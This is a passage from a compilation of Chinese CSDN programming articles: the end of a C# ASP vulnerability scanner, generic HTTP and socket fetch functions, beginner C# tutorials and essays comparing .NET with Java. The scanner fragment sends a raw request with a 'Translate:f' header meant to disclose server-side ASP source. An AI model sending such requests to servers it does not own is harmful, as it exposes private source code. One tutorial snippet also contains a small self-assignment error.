+ "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;
strResult = Get_Socket_Request(strServer , strRequest , 80) ;
this.barStatus.Text += "完成。" ;
strResult = strResult == "" ? "未找到！" : strResult ;
this.txtResult.Text = strResult ;

}

}

//使按钮、输入款等恢复
this.txtServer.ReadOnly = false ;
this.txtFileName.ReadOnly = false ;
this.btnClear.Enabled = true ;
this.btnGo.Enabled = true ;

}

//通过同server建立tcp/ip连接，发送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close\r\n\r\n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
strRetPage = "Unable to connect to host";
return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
}

//获取http页面函数
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;

try
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;

StreamReader sr = new StreamReader(myStream , Encoding.Default);
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"\r\n");
}

strResult = strBuilder.ToString();
}
catch(Exception exp)
{
strResult = "错误：" + exp.Message ;
}

return strResult ;

}

//退出
protected void mnuExit_Click (object sender, System.EventArgs e)
{

if (MessageBox.Show("真的退出吗？" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)
{
this.Close () ;

}
}

//主函数
public static void Main(string[] args)
{
Application.Run(new Form1());
}
}
}


csdn_两个获取http页面的c#函数

  两个获取http页面的c#函数
作者： bigeagle
埋头苦干一天终于搞定！一个用C#写的windows应用程序，作用嘛，就是对asp程序已知的20种漏洞进行扫描，显示源程序。在这个应用程序中用到两种获得http页面的方法，一种是直接用httpwebrequest类，而另一种是同服务器通过tcp/ip建立socket连接，直接查询端口80 ， 为此我写了以下两个函数，第一个比较简单，参数只有一个，就是要求的url , 另外一个比较复杂，也很通用，不仅可以请求http页面，还可以和其他端口通信，如端口43的whois，端口25的smtp，端口21的ftp甚至pop3等等，三个参数分别是主机名，请求命令和端口。好了，看程序吧。

//获取http页面函数
private string Get_Http(string a_strUrl)
{
string strResult ;
HttpWebRequest myReq = (HttpWebRequest)
WebRequestFactory.Create(a_strUrl) ;

try
{
HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
Stream myStream = HttpWResp.GetResponseStream () ;

StreamReader sr = new StreamReader(myStream , Encoding.Default);
StringBuilder strBuilder = new StringBuilder();
while (-1 != sr.Peek())
{
strBuilder.Append(sr.ReadLine()+"\r\n");
}

strResult = strBuilder.ToString();
}
catch(Exception exp)
{
strResult = "错误：" + exp.Message ;
}

return strResult ;

}

//通过同server建立tcp/ip连接，发送socket命令
private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
{
//Set up variables and String to write to the server
Encoding ASCII = Encoding.Default ;
string Get = a_strRequest + "Connection: Close\r\n\r\n";
//string Get =
Byte[] ByteGet = ASCII.GetBytes(Get);
Byte[] RecvBytes = new Byte[256];
String strRetPage = null;

// IPAddress and IPEndPoint represent the endpoint that will
// receive the request
IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

//Create the Socket for sending data over TCP
Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
ProtocolType.ProtTCP );

// Connect to host using IPEndPoint
if (s.Connect(EPhost) != 0)
{
strRetPage = "Unable to connect to host";
return strRetPage;
}

// Sent the GET text to the host
s.Send(ByteGet, ByteGet.Length, 0);

// Receive the page, loop until all bytes are received
Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

while (bytes > 0)
{
bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
}

return strRetPage ;
}

那个扫描漏洞的应用程序包括源代码我将整理后放到我的站点，如果你需要可以来下载。


csdn_C#语言初级入门(1)

  C#语言初级入门(1)
作者： 仙人掌工作室
C#语言入门
     C#读作“C sharp”，它是Microsoft开发的一种新语言，结合了C/C++的强大功能和Visual Basic的易用性。从最初的语言规范即可看出，C#无论在语法、丰富的Web开发支持还是自动化的内存管理上都和Java非常相似。因此，如果你曾经用过C++或者Java，再来学习C#应该是相当轻松的。

     本文的目的在于为尚未接触过C#的程序员介绍这种编程语言。不论你以前是否用过C/C++或者Java，都可以从本文开始学习C#。本文的唯一假定是你具有某种类型的编程知识（如具有面向对象编程的经验则更好，但并非必须），并拥有某种类型的C#编译器。

     最简单的C#程序

     首先我们来看标准的Hello World程序。用文本编辑器创建一个新文件HelloWorld.cs，把下面的代码放入这个文件：

// 第一个c#程序

class HelloWorld {
static void Main() {
System.Console.WriteLine("Hello World!");
}
}

     现在，在DOS命令窗口进入保存HelloWorld.cs的目录，然后执行：

csc HelloWorld.cs

     该命令编译源代码并生成HelloWorld.exe文件。运行这个执行文件就可以看到：

Hello World!

     下面我们来分析一下这个例子。第一行代码是一行注释，由“//”开始。和C/C++以及Java一样，“//”告诉编译器忽略该行直至结尾为止的内容。C#中的另外一种注释方法是块注释。块注释由“/*”开始，到“*/”结束。

     程序中第二个重要的地方是第四行Main()方法的声明（static void Mian(){）。每一个C#程序都包含一个Main方法，它是程序执行的起点和终点。另外还请注意，HelloWorld类的Main()方法定义成了静态（static）方法。程序的Main方法永远不会是全局的，这意味着Main方法必须包含在类里面，如本例中Main()是在类HelloWorld里面（Main方法也可以包含到结构里面，但一般它总是在类里面）。

     程序中最后一个关键的地方是向控制台输出文本的代码，即“System.Console.WriteLine("Hello World!");”。WriteLine是一个方法，定义于Console类。WriteLine()把文本输出到标准输出设备并换行。Console类包含在System名称空间（类的集合）里面。如果你想避免用“System.Console”的方式来指出Console类的全称，可以在文件的开头加上“using System;”这行代码，以后就可以直接写出“Console.WriteLine("Hello World!");”。


csdn_C#语言初级入门(2)

  C#语言初级入门(2)
作者： 仙人掌工作室
使用动态链接库

     下面这个例子示范如何创建和使用用户定义的类以及如何创建动态链接库。利用文本编辑器创建两个文件。第一个是Apple.cs，内容如下：
public class Apple {

private string variety = "";

public Apple(string appleVariety) {
this.variety = appleVariety;
}

public void outputVariety() {
System.Console.WriteLine(variety);
}

}

     第二个文件是Example2.cs，内容如下：

class Example2 {

static void Main() {
Apple mac = new Apple("Macintosh ");
Apple gra = new Apple("Granny Smith");
Apple cor = new Apple("Cortland");
mac.outputVariety();
gra.outputVariety();
cor.outputVariety();
}
}

     首先，我们定义了一个新的用户定义类，名字为Apple。虽然Apple类并不一定要放到独立的文件中，但把每个类都放到自己独立的文件中是一个好的面向对象编程习惯，有助于简化组织和管理。我们为Apple类的声明加上了public修饰符（public class Apple），这样其他类就可以创建Apple类的实例。

     下一行代码定义了实例变量variety。使用了修饰符private之后，只有在Apple类的内部才可以直接访问variety变量。这是一种常见的面向对象编程习惯，称为封装。封装之后，对象的工作细节对于对象的用户来说就隐藏不可见了。你现在正使用的键盘就是封装在现实世界中一个很好的例子。我们并不完全了解键击如何发送到控制器（我们之中的大多数都不知道），但只要理解它的接口如何运作就可以了。例如我们知道，打开文本编辑器，按下键盘上的“&”键，“&”字符就会出现在屏幕上。如果每一个人都必须了解键盘的工作细节而不是只要了解它的接口，我们之中不会有很多人使用它。

     接下来的三行代码是：

public Apple(string appleVariety) {
this.variety = variety;
}

     这三行代码定义了Apple类的构造函数。类的构造函数类似一个描述如何创建类实例的蓝图。我们能够很容易地将构造函数和类里面的其他方法区分开来，因为构造函数总是和类具有相同的名字。在本例中，类Apple的构造函数有一个字符串参数，这个参数值随后被保存到实例变量variety。

     Apple类的最后一个方法是outputVariety()。这个方法为访问实例变量提供了接口，所以称为存取方法（Accessor Method）。

     下面我们来看Example2类。这个例子与前文例子的区别在于要创建并使用用户定义类Apple的实例。我们用new操作符创建了三个Apple类的实例。创建类的实例时，我们无需显式地调用类的构造函数，new操作符将自动为我们调用类的构造函数。创建了三个Apple类的对象之后，我们依次调用这三个对象的outputVariety方法，由outputVariety方法输出这三个对象里variety的值。

     下面我们来编译和运行这个例子。首先我们要把Apple类编译成动态链接库，命令如下：

csc /target:library Apple.cs

     /target:library表示不要创建执行文件，而是创建一个.dll文件（即动态链接库）。所以，上面的命令将生成一个Apple.dll文件。

     接下来我们编译Example2.cs，编译命令如下所示：

csc /reference:Apple.dll Example2.cs

     现在我们得到了执行文件Example2.exe。执行这个文件可以在控制台上看到如下输出：

Macintosh
Granny Smith
Cortland


csdn_C#语言初级入门(3)

  C#语言初级入门(3)
作者： 仙人掌工作室
抽象和多态性（一）

在这最后一个例子中，我们来看看C#的抽象和多态性。首先我们来定义一下这两个新的术语。抽象（Abstract）通过从多个对象提取出公共部分并把它们并入单独的抽象类中实现。在本例中我们将创建一个抽象类Shape（形状）。每一个形状都拥有返回其颜色的方法，不论是正方形还是圆形、长方形，返回颜色的方法总是相同的，因此这个方法可以提取出来放入父类Shape。这样，如果我们有10个不同的形状需要有返回颜色的方法，现在只需在父类中创建一个方法。可以看到使用抽象使得代码更加简短。

     在面向对象编程领域中，多态性（Polymorphism）是对象或者方法根据类的不同而作出不同行为的能力。在下面这个例子中，抽象类Shape有一个getArea()方法，针对不同的形状（圆形、正方形或者长方形）它具有不同的功能。

     下面是代码：

public abstract class Shape {
protected string color;
public Shape(string color) {
this.color = color;
}
public string getColor() {
return color;
}
public abstract double getArea();
}

public class Circle : Shape {
private double radius;
public Circle(string color, double radius) : base(color) {
this.radius = radius;
}
public override double getArea() {
return System.Math.PI * radius * radius;
}
}

public class Square : Shape {
private double sideLen;
public Square(string color, double sideLen) : base(color) {
this.sideLen = sideLen;
}
public override double getArea() {
return sideLen * sideLen;
}
}

/*
public class Rectangle : Shape
...略...
*/

public class Example3
{
static void Main()
{
Shape myCircle = new Circle("orange", 3);
Shape myRectangle = new Rectangle("red", 8, 4);
Shape mySquare = new Square("green", 4);
System.Console.WriteLine("圆的颜色是" + myCircle.getColor()
+ "它的面积是" + myCircle.getArea() + ".");
System.Console.WriteLine("长方形的颜色是" + myRectangle.getColor()
+ "它的面积是" + myRectangle.getArea() + ".");
System.Console.WriteLine("正方形的颜色是" + mySquare.getColor()
+ "它的面积是" + mySquare.getArea() + ".");
}
}


csdn_C#语言初级入门(4)

  C#语言初级入门(4)
作者： 仙人掌工作室
抽象和多态性（二）
     我们创建的第一个类是Shape。这是一个抽象类，因为我们不想创建这个类的实例，我们要创建的是它的派生类的实例。我们从所有的形状（圆、长方形、正方形）提取出共同特征到Shape类。Shape类有一个实例变量color，它的变量声明中带有protected修饰符。protected修饰符表示这个变量只能在类的内部或者该类的派生类中访问。紧接这个变量声明的就是Shape类的构造函数和存取方法getColor()，这两个方法都没有什么新的东西。最后一个方法getArea()加上了abstract修饰符，这是因为每一种不同的形状都有不同的面积计算方法，因此这个方法必须由各种形状自己来定义。

     接下来的三个类Circle、Rectangle和Square都从Shape类派生，它们都具有Shape所描述的特征。这可以从它们的定义中看出来，它们的声明中都带有“public class:Shape {”，这个“: Shape”就表示当前的类从Shape类派生。由于这三个类都从Shape派生，它们自动拥有Shape中定义的所有public或者protected实例变量，即Circle、 Rectangle和Square包含了实例变量color。

     每一个Sharp的派生类都有自己的构造函数，负责调用父类Shape的构造函数设置公共的实例变量（color）以及设置自己特有的实例变量。例如“public Circle(string color, double radius) : base(color)”这个语句中，“: base(color)”就表示用参数color调用父类的构造函数。

     最后我们来看一下getArea()方法，它是一个多态性的示范。所有形状都有getArea()方法，但是根据对象是圆、长方形还是正方形，具体调用的方法也不同。

     要运行这个例子，先把所有文件保存到同一目录，然后执行下面的命令：

csc /target:library /out:Shapes.dll
Shapes.cs Circle.cs Rectangle.cs Square.cs

     然后执行：

csc /reference:Shapes.dll Example3.cs

     现在，如果我们运行Example3.exe，将得到如下输出：

圆的颜色是orange它的面积是28.274333882308138.
正方形的颜色是green它的面积是16.
长方形的颜色是red 它的面积是32.

     参考：

C# 语言参考
C# Station


csdn_Microsoft .Net & C#

  Microsoft .Net & C#
作者： 恶魔吹着笛子来
Topic 1:

C#是MS根据他的.Net战略提出的一种新语言。根据微软的技术资料,他是一种c/c++语言的扩展和升级。那么他除了继承了c/c++的简洁优美的的语言之外

他还具有那些新特性呢？

交叉语言集成：我们知道com最大的优点就是实现了软件模块的功能和开发语言之间的独立性。那么在.Net系统中依然沿袭了com的这个优点

自动内存管理：在c#出现之前Java是唯一一个实现了自动内存管理的语 言，使java成为一种健壮的语言，但是由于自动内存管理，java也牺牲了很大一部分系统性能和编程的灵活性。C#借鉴了java的成功经验，而且在提高系统性能和编程灵活性上有着独到之处

交叉语言异常处理：在com中组件的出错处理是抛出令人迷惑的hresult和ole error.在.NET中这种出错处理将有跨语言的异常处理来解决。

版本支持：取消了dll的版本混乱问题。

组件交互的简化模式：在com中vc,的调用com是比较繁琐的但是在vb中却异常简单。因此在.net中让c# ,c/c++,pascal等调用组件的方式统一化，简单化

Topic 2:

C#具有如此多的功能，那么他们是如何实现的呢？这个问题回答有赖于对Microsoft.Net Runtimes 技术：

微软中间语言（Microsoft Intermediate Language, ab: MSIL）：

这是一种微软定义的一种界于源代码和机器码之间的中间语言,并有特定的语言（如c# compiler：csc,vc complier:cl等）的编译器将其包装成exe格式的伪代码(p代码)。他和java的byte code无论在工作方式上还是框架结构上都有很大的不同。在这里你只需要记住：MSIL不是一种执行代码而是一种语言（你可以想象成是.NET平台上的asm汇编语言）

元数据（Metadata）：

尽管IL代码由编译器产生，但它并不是编译器提供给运行时仅有的东西。编译器同样产生有关你代码的元数据，它告诉运行时有关你代码的更多的东西，例如各种类型的定义、各种类型成员的签名以及其它数据。基本上，元数据是类型库、注册表内容和其它用于COM的信息。尽管如此，元数据还是直接和执行代码合并在一起，并不处在隔离的位置。
IL和元数据存放于扩展了PE格式的文件中(PE格式用于.exe和.dll文件)。当这样的一个PE文件被装载时，运行时从文件中定位和分离出元数据和IL。
3.即时编译器（Just in-time compliers ,简称JITers）

c#和java的确很相像，但是他们之间最大的不同是java采用解释执行，而c#采用编译。但是c#的编译和c的编译又完全不同，他是一种jit编译（java也有，但是他们工作方式不同后面将会详细展开）.

Topic 3

由C#编译器生成的受管代码并不是原始代码，但它是中间语言(IL)代码。这种IL代码自身变成了NGWS runtime的受管执行进程的入口。IL代码明显的优势在于它是CPU无关的，这也意味着，你要用目标机器上的一个编译器才能把IL代码转换成原始代码。

在进一步说明之前，我想给你已有的IL指令的简短目录。尽管不需要你熟记和理解，但是它列出了你所必需的、C#程序所基于的知识基础这指明了MSIL将负责那些具体的事情。
算术和逻辑操作符
控制流
直接内存访问
堆栈操作
参数和局部变量
堆栈分配
对象模式
实例类型值
临界区
数组
分型位置
即时编译器(JITters)

Topic4:
虽然IL代码被包装在一个有效的PE文件中，但是你还是不能执行它，除非它被转换成为受管原始代码。这就是NGWS runtime 即时编译器(也称作JITters)大显身手的时候。

为什么不把整个IL PE文件编译成原始代码? 答案是时间--需要把IL代码编译成CPU规格的代码的时间。这种编译将更加有效率，因为一些程序段从来就没有被执行过。例如，在我的字处理器中，邮件合并功能从来就没有被编译。
MSIL和JITER让我们联想起了Java的byte code, jvm和jit。他们是如此的相像，但是我要告诉你的是这两者并不是如我们所想的那样相似反而他们有着天差地别的不同。

首先刚才我们说过MSIL可以理解为.net上的汇编语言。

这是因MSIL 不是一种可执行码仍然是一种某种形式的语言不过是编译的时候加上了metadata包装成了二进制流的格式，我们可以通过ms的ildasm反编译器查看到这种类似于汇编语言的中间码。而java的bytecode，从某种意义下它已经是一种可执行码了（不过不是cpu执行而是jvm执行）.

C# 的JITER和 java的 jvm jit工作方式不同。

首先我们看一下.net的运行库和java的代码库的不同。在java中所有的系统库都以bytecode形式存放，然后由jvm解释程序中所有的需要用到得库代码然后调用本地系统的接口完成相应的操作。

而.net的通用运行库(CLR)是100%本地代码。.net系统是一个

充满了CLR的dll的大容器。当jit载入MISL时，MISL并不指

挥.net系统去调用本地的系统接口。而是指定.net系统去编译连接

那些需要的clr的dll。编译出来的是100%native code。从技术上

说，全部的处理过程如下：当一个类型被装载时，装载器创建一个存

根(stub)，并使它连接每一个类型的方法。当一个方法第一次被调用

时，存根把控制交给JIT。JIT把IL编译为原始代码，且把存根指针

指向缓冲了的原始代码。接着的调用将执行原始码。在某些位置上

(At some point)，所有的IL都被转换成为原始代码，而JITter处

于空闲状态。可以说c#是结合了c/c++编译和java的中间代码的

自的优点，又屏蔽了各自的缺点c/c++不独立平台，以及java的低

效率

C代码的编译过程 Java代码解释过程 c# JIT过程

Java自己也有JIT，但是它的jit是不彻底的。他人仍然不是100%的

native code,仍然需要jvm的解释执行。因此java的性能一直没有办法

提高。

C#的方法是编译但是又不同于c的编译，他将编译分为几个阶段来进行。

汇编代码的编译肯定比源代码来的快，jit的局部代码编译肯定比全部程

序编译来的快，因此使用c#编程性能上的损失比java少的多，当然和c

比起来还是有一点延迟特别是代码启动的时候，但是比java好得多了。

Topic 5：

1 虚拟对象系统(VOS)
到目前为止，你仅看到了NGWS runtime如何工作，但是并不了解它工作的技术背景以及为什么它要这样工作。这节都是关于 NGWS 虚拟对象系统的(VOS)。
以下为在VOS中形成声明、使用和管理类型模型时，NGWS runtime的规则。在VOS背后的思想是建立一个框架，在执行代码时不能牺牲性能，允许交叉语言集成和类型安全。
我提到的框架是运行时架构的基础。为了帮助你更好地了解它，我将它勾出四个区域。当开发C#应用程序和组件时，理解它们很重要。
1.1VOS类型系统--提供丰富的类型系统，它打算支持全面编程语言的完全实施。
1.2元数据--描述和引用VOS类型系统所定义的类型。元数据的永久格式与编程语言无关，但是，元数据拿自己当作一种互换机制(nterchange mechanism)来使用，这种互换是在在工具和NGWS的虚拟执行系统之间。
1.3通用语言规范(CLS)--CLS定义了VOS中类型的子集，也定义了常规的用法。如果一个类库遵守CLS的规则，它确保类库可以在其它所有能实现CLS的编程语言上使用。
1.4虚拟执行系统(VES)--这是VOS实时的实现。VES负责装入和执行为NGWS运得时编写的程序。
这四个部分一起组成了NGWS runtime架构。每一部分在下面小节中描述。

1.1 VOS类型系统
VOS类型系统提供丰富的类型系统，它打算支持多种编程语言的完全实施。所以，VOS必须都支持面向对象的语言和过程编程语言。
现在，存在着很多种近似但有点不兼容的类型。就拿整型当例子，在VB中，它是16位长，而在C++中，它是32位。还有更多的例子，特别是用在日期和时间以及数据库方面的数据类型。这种不兼容使应用程序的创建和维护不必要地复杂化，尤其当程序使用了多种编程语言时。
另一个问题是，因为编程语言之间存在着一些差别，你不能在一种语言中重用另一种语言创建的类型。(COM用二进制标准接口部分地解决了这个问题)。 当今代码重用肯定是有限的。
发布应用程序的最大障碍是各种编程语言的对象模型不统一。几乎每一方面都存在着差异：事件、属性、永久保存(persistence)等等。
VOS这里将改变 这种现象。VOS定义了描述值的类型，并规定了类型的所有值所必须支持的一条合约。由于前面提到的支持面向对象和过程编程语言，就存在着两种值和对象。

对于值，类型存储于表述(representation)中，同样操作也在其中实行。对象更强大因为它显式地存于表述中。每一个对象都有一个区别于其它对象的识别号。
1.2元数据
尽管元数据用于描述和引用由VOS类型系统定义的类型，但它还不能锁定到这个单个目标。当你写一个程序时，通过利用类型声明，你所声明的类型(假定它们是数值类型或引用类型)被告知给NGWS runtime类型系统。类型声明存在于PE可执行文件内部的元数据中得到描述。
基本上，元数据用于各项任务：用于表示NGWS runtime用途的信息，如定位和装载类、 内存中这些类的事例、解决调用 、翻译IL为原始码、加强安全并设置运行时上下文边界。
你不必关心元数据的生成。元数据是由C#的"代码转IL编译器"(code-to-IL compiler,不是JIT编译器)生成的。代码转IL编译器发送二进制元数据信息给PE文件，是以标准的方式发送的，不象C++编译器那样，为出口函数创建它们自己的修饰名字。
你从元数据和可执行代码并存所获得的主要优势为，有关类型的信息同类型自身固定在一起，不会遍布很多地方。同样有助于解决存在于COM中的版本问题。进一步地，你可以在相同的上下文中使用不同的版本库，因为库不仅被注册表引用，也被包含在可执行代码中的元数据引用。

1.3通用语言规范
通用语言规范(CLS)并不是虚拟对象系统(VOS)真正的一部分，它是特殊的。CLS定义了VOS中的一个类型子集，也定义了必须符合CLS的常规用法。
那么，对此有什么迷惑呢?如果一个类库遵守CLS规则，其它编程语言同样也遵守CLS规则，那么其它编程语言的客户也可以使用类库。CLS是关于语言的交互可操作性(interoperability)。因此，常规用法必须仅遵循外部可访问项目 (externally visible items)如方法、属性和事件等等。
我所描述的优点是你可以做以下工作。用C#写一个组件，在VB中派生它，因加在VB中的功能是如此之强大，在C#中再次从VB类派生它。只要所有的外部可访问项遵守CLS规则，这样是可行的。
构建你的类库时要注意到CLS协定。我提供了表2.1，用以给类型和外部可访问项定义协定规则。
这个清单不完整。它仅包含一些很重要的项目。我不指出出现在本书中每一种类型的CLS协定，所以有个好主意：当你寻找CLS协定时，至少应该用浏览该表，以了解哪种功能有效。不要担心你不熟悉这章表中的每一个含义，在这本书中你会学到它们。

表2.1 通能语言规范中的类型和功能

bool
char
byte
short
int
long
float
double
string
object(所有对象之母)

Arrays(数组)
数组的维数必须是已知的(>=1)，而且最小下标数必须为0。
要素类型必须是一个CLS类型。

类型(Types)
可以被抽象或隐藏。
零或更多的接口可以被实现。不同的接口允许拥有具有相同名字和签名的方法。
一个类型可以准确地从一个类型派生。允许成员被覆盖和被隐藏。
可以有零或更多的成员，它们是字段(fields)、方法、事件或者类型。
类型可以拥有零或更多个构造函数。
一种类型的可访问性可以是公共的或者对NGWS组件来说是局部的；但是，仅公共成员可以认为是类型接口的一部分。
所有的值型必须从系统值型继承。异常是一个枚举--它必须从系统枚举(System Enum)继承。

类型成员
类型成员允许隐藏或者覆盖另一种类型中的其它成员。
参数和返回值的类型都必须是 CLS 协定 类型。
构造函数、方法和属性可以被重载。
一个类型可以有抽象成员，但仅当类型不被封装时。

方法
一种方法可以是静态、虚拟或者实例。
虚拟和实例方法可以是抽象的，或者是一个实现。静态方法必须总拥有一个实现。
虚拟方法可能是最后的(或者不是)。

字段(Fields)
可以是静态或者是非静态。
静态字段可以被描述或只初始化。

属性
当获取和设置方法而不是使用属性语法时，属性可以公开。
获取的返回类型和设置方法的第一个参数必须是相同的CLS类型--属性的类型。
属性名字必须不同，不同的属性类型用于区分是不充分的。
由于使用方法实现属性访问，如果 PropertyName 是同一个类中定义的一个属性，你不能实现命名为 get_PropertyName 和 set_PropertyName 的方法。
属性可以被索引。
属性访问必须遵循这种命名格式：get_ProName，set_PropName。

枚举(Enumerations)
强调类型必须是byte、short、int 或long。
每一个成员是一个枚举类型的静态描述字段。
一个枚举不能实现任何接口。
你允许给多字段设定相同的值。
一个枚举必须继承系统枚举(隐含在C#中)

异常
可以被引发和被捕获。
自定义异常必须继承系统异常。

接口
可需要实现其它接口。
一个接口可以定义属性、事件和虚拟方法。实现取决于派生类。

事件
增加和取消方法必须是都提供或者都没有 ，每一种方法采用一个参数，它是一个从系统代表元(System Delegate)派生下来的类。

自定义属性
可以仅使用下更类型：Type(类型),char, char, bool, byte, short, int, long, float, double, enum (一种CLS 类型), and object.

代表元(Delegates)
可以被创建和被激活

标识符(Identifiers)
一个标识符的第一个字母必须来自一限制集。
通过大小写在单一范围内，不可能唯一地区别两个或更多个标识符(大小写不敏感)。

1.4虚拟执行系统(VES)
虚拟执行系统实现了虚拟对象系统。通过实现一个负责NGWS runtime的执行引擎(execution engine，缩写EE)创建VES。这个执行引擎执行你用C#编写和编译的应用程序。
下列组件为VES的一部分。
1、中间语言(IL)--被设计为很容易受各种各样的编译器所兼容 。在该框架之外，C++、VB和C#编译器都能够生成IL。
2、装入受管代码--这包括解决内存中的名字、 表层类(laying out classes )，并且创建JIT编译所必需的存根。通过执行经常性校验，包括加强一些访问规则，类装载器同样也增强了安全性。
3、用JIT转换IL成原始代码--IL代码并不是设计成为一种传统的解释字节代码或树型代码，IL转换是真正的编译。
4、装入元数据、校验类型安全和方法的完整性
5、垃圾收集(GC)和异常处理--两者都是基于堆栈格式的服务。受管代码允许你动态地跟踪堆栈。要动态地识别各个堆栈框架，JITter或其它编译器必须提供一个代码管理器。
6、描绘和查错服务--两者都取决于由源语言编译器所生成的信息。必须发出两个映射：一个映射从源语言结构发到指令流中的地址，一个映射从地址发到堆栈框架中的位置。当执行从IL到原始代码的转换时，这些映射被重新计算。
7、管理线程和上下文，还有远程管理--VES为受管代码提供这些服务。
虽然这个清单并不完整，但它足以让你理解运行时基于的由VES提供的低层架构。

Topic6:Microsoft.Net与Java

.Net和Java都是为了asp而设计的方案，都希望在Internet时代的asp上占有一席之地。孰优孰劣，现在还很难说.

MS的CEO Ballmer接受电视采访中这样说过“我们相信xml所以设计了.Net，而他们（指sun）相信Java”

sun的ceo maclline在java发布的时候这样描述过java”你在你的网络计算机面前，你在文字处理软件上点选一下，就现在一个只有四个基本功能的文字处理软件。他们用心脏跳动以下的时间就穿过了来了，因为程序码很短。他又四个功能；删除，恢复，剪贴，打印。如果我需要文字向右对齐，我就可以下载额外的功能。如果我需要拼子检查我可以下载他。这就是一个子集：一种面向对象的，规模可调节的，结实的，可伸缩的环境”

客户端的小型化，应用服务化是未来的趋势，但是ms和sun的方式是如此的不同。

Sun希望提供的是一个随处都可插拔的”软CPU”即jvm，跨平台，健壮性，是它的精华。Java在嵌入式技术上的前景不错，Sun已经在手机中值入他们的jvm，可以收发邮件玩三维游戏。但是java的梦想并不完全变为现实，java诞生快5年了可是我至今还没有用到那个听上去神乎其神的字处理软件，而且一个java的程序传道我机器上时我已经数不清我的心脏跳过多少下了。慢的离谱的速度，千奇百怪的配置环境，处处受限制的功能等等不能不让人怀疑它的前景。

MS呢？向来以软件漏洞百出，过于庞大的系统（2000庞大的令人难以相信）成为指责的对象。 如今MS也正在逐渐的摆脱原来windows包办一切的“母集”方式。逐渐走向客户端的移动化和可伸缩化。但是他们认为仍然需要

保持一个庞大的应用系统，但是不是在客户机上而是服务器端。

我们可以看到c#基本上实现了java大多数功能。但是唯一一个功能c#是相当弱的那就是跨平台。C#可不可以跨平台？当然可以，但是必须在另一个系统上实现另一套功能相同的CLR和jit。也许在pc,小型机上可以做到。但是手持设备，手机上如何实现如此庞大的一个CLR和jit呢？

因此c#是健壮的，面向对象的，可伸缩的，但是的跨平台方面要弱的多。但是MS认为xml可以弥补c#的不足。

Ms的理想是这样的：在.NET上实现VOS，保证各种语言都能共享，其次保证

运行的健壮性。然后是在各种大型的服务器上都移植一套CLR和jit.让在.NET上运行的各种软件都获得跨平台的特性。在客户端，用户并不直接与.net打交道，而是通过xml，用XUI处理GUI界面，用SOAP调用.NET服务上各种软件服务然后服务收费。

这就是.net和java，你认为将来我们会是一个什么样的世界呢？


csdn_C#, 程序员的新工具

  C#, 程序员的新工具
作者： 刘德伟
这世界上没有什么比编程工具更加牵动程序员的心。VC、VB、DELPHI、JAVA……这些耀眼的名字不仅占据了程序员的生活，而且似乎已经成为了某种信仰。可是，伴随着新世纪的脚步，这些信仰又一次遭遇了重大的挑战。微软，这头被法官和黑客们折腾得既疲惫又恼怒的狮子，发誓要保住它头上的王冠，拼尽全力，拿出了看家的本事——.NET战略。作为 .NET的核心开发语言，C# 顺理成章地浮出了水面。程序员们也就不得不做出一个痛苦的选择，跟在谁的后面？要找出答案就不得不作一番比较和预测。笔者作为一个资深的程序员，斗胆在此狂言，权作抛砖引玉。

如果抛开一切非技术方面的因素，C# 无疑是这个星球上有史以来最好的编程语言，它几乎集中了所有关于软件开发和软件工程研究的最新成果。面向对象、类型安全、组件技术、自动内存管理、跨平台异常处理、版本控制、代码安全管理……你不可能在另外的一种语言中找到所有这些特性。尽管像很多人注意到的一样，当我罗列上述特性时，总是让人想到JAVA，然而C# 确实走得更远。但现实的情况是，非技术的因素往往更能决定一个产品的未来，尤其在计算机软件的历史上，技术卓越的产品，如OS/2、Mac OS、UNIX等，都败在了Windows那漂亮的脸蛋儿下。而这一次，微软的角色好像从一个赤手空拳的革命者变成了仗势欺人的老地主，如果真是要变天，那C# 这孩子岂不是投错了胎？可能情形并非如此糟糕，毕竟瘦死的骆驼比马大，而且C# 已经提交给了一个标准化组织，一旦成了国际标准，说不准真有哪个手痒的大侠（也有可能是微软自己）给移植到Linux 和别的平台上。那样的话，JAVA可就惨了。因为JAVA的用户主要是网络服务的开发者和嵌入式设备软件的开发者，嵌入式设备软件不是C# 的用武之地，而在网络服务方面，C# 的即时编译和本地代码Cache方案比JAVA虚拟机具有绝对的性能优势。何况C# 一旦成为一个像C++ 一样的公共的标准，软件开发商既可以省去JAVA的许可证费用，也不必担心成为微软的奴隶，那些反微软的人士和主张厂商独立的人士可能也不会有什么意见。这可能正是微软所期待的。

